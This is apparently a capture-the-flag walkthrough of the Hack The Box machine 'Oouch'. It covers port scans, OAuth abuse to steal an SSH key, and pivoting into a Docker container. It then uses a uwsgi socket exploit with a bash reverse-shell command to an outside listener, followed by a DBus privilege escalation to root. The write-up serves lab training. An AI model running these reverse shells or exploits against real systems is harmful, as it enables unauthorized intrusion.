Oouch is one of the hard (close to Insane) boxes that will give you a lot of fun but also tons of frustration with a big dose of new technologies and web techniques. Prepare to study, investigate and get fun.
Enum
Port scans
As with every box, first is to execute some Nmap to discover open ports and execute basic script against those.
Running script with target Oouch/10.10.10.177
[*] Creating directory Oouch structure
[*] Running NMAP all ports to 10.10.10.177
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-15 16:21 CEST
Initiating Ping Scan at 16:21
Scanning 10.10.10.177 [2 ports]
Completed Ping Scan at 16:21, 0.04s elapsed (1 total hosts)
Initiating Connect Scan at 16:21
Scanning 10.10.10.177 [65535 ports]
Discovered open port 22/tcp on 10.10.10.177
Discovered open port 21/tcp on 10.10.10.177
Discovered open port 8000/tcp on 10.10.10.177
Completed Connect Scan at 16:21, 12.86s elapsed (65535 total ports)
Nmap scan report for 10.10.10.177
Host is up (0.040s latency).
Not shown: 64978 closed ports, 554 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
8000/tcp open http-alt
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.94 seconds
[*] Running NMAP scripts to open ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-15 16:21 CEST
WARNING: Service 10.10.10.177:8000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for 10.10.10.177
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.34
| Logged in as ftp
| TYPE: ASCII
| Session bandwidth limit in byte/s is 30000
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
|_ 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
8000/tcp open rtsp
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| <h1>Bad Request (400)</h1>
| RTSPRequest:
| RTSP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| <h1>Bad Request (400)</h1>
| SIPOptions:
| SIP/2.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
|_ <h1>Bad Request (400)</h1>
|_http-title: Site doesn't have a title (text/html).
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=5/15%Time=5EBEA581%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</
SF:h1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Req
SF:uest\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1
SF:>Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization
SF:\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Auth
SF:orization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.89 seconds
xnaaro:parrot /media/xnaaro/SSD/hackthebox/machines
After initial enumeration I've found out -T5 with Nmap missed a port, so built a script to enumerate ports with netcat. Here are the results with a new port (5000) discovered
$ bash /media/xnaaro/SSD/repos/hacking_scripts/bash_nmap.sh 10.10.10.177
port 21 open
port 22 open
port 5000 open
Web fuzzing
The main website at port 8000 didn't have any valid response, just server error. So executed a fuzzer to discover vhosts on the server.
Discovered a vhost called authorization, then fuzzed it to discover other internal paths and files a unauthenticated and then with an authenticated cookie.
Nmap gave as an FTP port opened with anonymous enabled, on the FTP there was only a file called project.txt with the following contents.
$ cat project.txt
Flask -> Consumer
Django -> Authorization Server
This gave us an idea of what the server is running and what could be the vhosts names
authorization.oouch.htb
consumer.oouch.htb
Abusing Oauth for foothold
Once tried some user creation, login, authorizations, etc. I understood the behaviour and the technology behind all of this, in this case was Oauth2. This box gave me the opportunity to study this technology with some blogs and an Udemy course.
On the /Documents path there was this juicy information.
| dev_access.txt | develop:supermegasecureklarabubu123! -> Allows application registration. |
| o_auth_notes.txt | /api/get_user -> user data. oauth/authorize -> Now also supports GET method.|
| todo.txt | Chris mentioned all users could obtain my ssh key. Must be a joke... |
Now we have to steal the cookie of qtc user on authorization.
Once we have a token and a cookie on authorization, get can get ssh information about qtc user, as Chris mentioned in the /documentation, copy the ssh_key into a file.
The ssh key have \n as strings instead of parsed as real jump lines, so lets' replace it to fix the ssh private key syntax.
sed -i 's/\\n/\n/g' id_rsa_qtc
Set proper permissions to the key and connect to the box with qtc user.
$ chmod 600 id_rsa_qtc
$ ssh qtc@10.10.10.177 -i id_rsa_qtc
Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 25 12:45:55 2020 from 10.10.14.3
qtc@oouch:~$ cat user.txt
be510...................
Local enumeration
First thing we see once we connect is .note.txt inside qtc's $HOME directory.
This file contents are really important as is the base information we need to do all the privesc process.
qtc@oouch:~$ cat .note.txt
Implementing an IPS using DBus and iptables == Genius
We noticed docker is running and there are some neighbours in the net aka containers running with those IPs.
qtc@oouch:~$ ip neighbour
10.10.10.2 dev ens34 lladdr 00:50:56:b9:f6:f9 REACHABLE
172.18.0.4 dev br-cc6c78e0c7d0 lladdr 02:42:ac:12:00:04 STALE
172.18.0.3 dev br-cc6c78e0c7d0 lladdr 02:42:ac:12:00:03 STALE
fe80::250:56ff:feb9:f6f9 dev ens34 lladdr 00:50:56:b9:f6:f9 router STALE
Try to connect through ssh to them, one of them will work
Getting www-data
qtc@oouch:~$ ssh qtc@172.18.0.3
Linux aeb4525789d8 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May 21 17:00:56 2020 from 172.18.0.1
Inside the container, after full enumeration we end up focusing on /code directory
qtc@aeb4525789d8:/code$ ls -lsrta /code
total 52
4 -rw-r--r-- 1 root root 163 Feb 11 17:34 uwsgi.ini
4 -rwxr-xr-x 1 root root 89 Feb 11 17:34 start.sh
4 -rw-r--r-- 1 root root 241 Feb 11 17:34 requirements.txt
4 -rw-r--r-- 1 root root 724 Feb 11 17:34 nginx.conf
4 drwxr-xr-x 4 root root 4096 Feb 11 17:34 migrations
4 -r-------- 1 root root 2602 Feb 11 17:34 key
4 -rw-r--r-- 1 root root 23 Feb 11 17:34 consumer.py
4 -rw-r--r-- 1 root root 325 Feb 11 17:34 config.py
4 -r-------- 1 root root 568 Feb 11 17:34 authorized_keys
4 -rw-r--r-- 1 root root 1072 Feb 11 17:34 Dockerfile
4 drwxr-xr-x 4 root root 4096 Feb 11 17:34 .
4 drwxr-xr-x 5 root root 4096 Feb 11 17:34 oouch
4 drwxr-xr-x 1 root root 4096 Feb 25 12:33 ..
0 -rw-rw-rw- 1 root root 0 May 21 17:52 urls.txt
Abusing uwsgi
Here we can see all the consumer app code. For now, we focus on uwsgi configuration, which have open permissions on the unix socket under /tmp
The exploit needs to be fixed for python3 compatibility, change sz function as follows:
# Original
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
if sys.version_info[0] == 3: import bytes
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
# Fixed
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s)
return s[::-1]
This container does not have netcat, wget or curl installed. You could use ftp or as I did, encode the exploit as base64 in your host and decode inside the box.
Open a netcat listener in your host or in oouch box, and execute the exploit.
```sh
qtc@aeb4525789d8:/tmp$ python exploit.py -m unix -u uwsgi.socket -c "bash -c 'bash -i >& /dev/tcp/10.10.14.34/4443 0>&1'"
[*]Sending payload.
This will give us a shell as www-data on the container.
$ rlwrap nc -nvlp 4443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4443
Ncat: Listening on 0.0.0.0:4443
Ncat: Connection from 10.10.10.177.
Ncat: Connection from 10.10.10.177:51688.
bash: cannot set terminal process group (4895): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
www-data@aeb4525789d8:/code$
Root
During previous enumeration on /code and some code review, we saw what .note.txt said about dbus.
Abusing DBUS
This is a excerpt of the vulnerable implementation found at /code/oouch/.
www-data@aeb4525789d8:/code$ cat oouch/routes.py | grep bus
cat oouch/routes.py | grep bus
import dbus
The contact page is required to abuse the Oauth vulnerabilities. This endpoint allows the user to send messages using a textfield.
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
bus.close()
$ rlwrap nc -nvlp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.177.
Ncat: Connection from 10.10.10.177:50784.
bash: cannot set terminal process group (2502): Inappropriate ioctl for device
bash: no job control in this shell
root@oouch:/root# id
id
uid=0(root) gid=0(root) groups=0(root)
root@oouch:/root# hostname
hostname
oouch
root@oouch:/root# cat /root/root.txt
cat /root/root.txt
d98ef..........
This box was specially fun and frustrating, made me learn Oauth and investigate about dbus and uwsgi. Also good practice for csrf and ssrf techniques. Hope you enjoyed the whole process.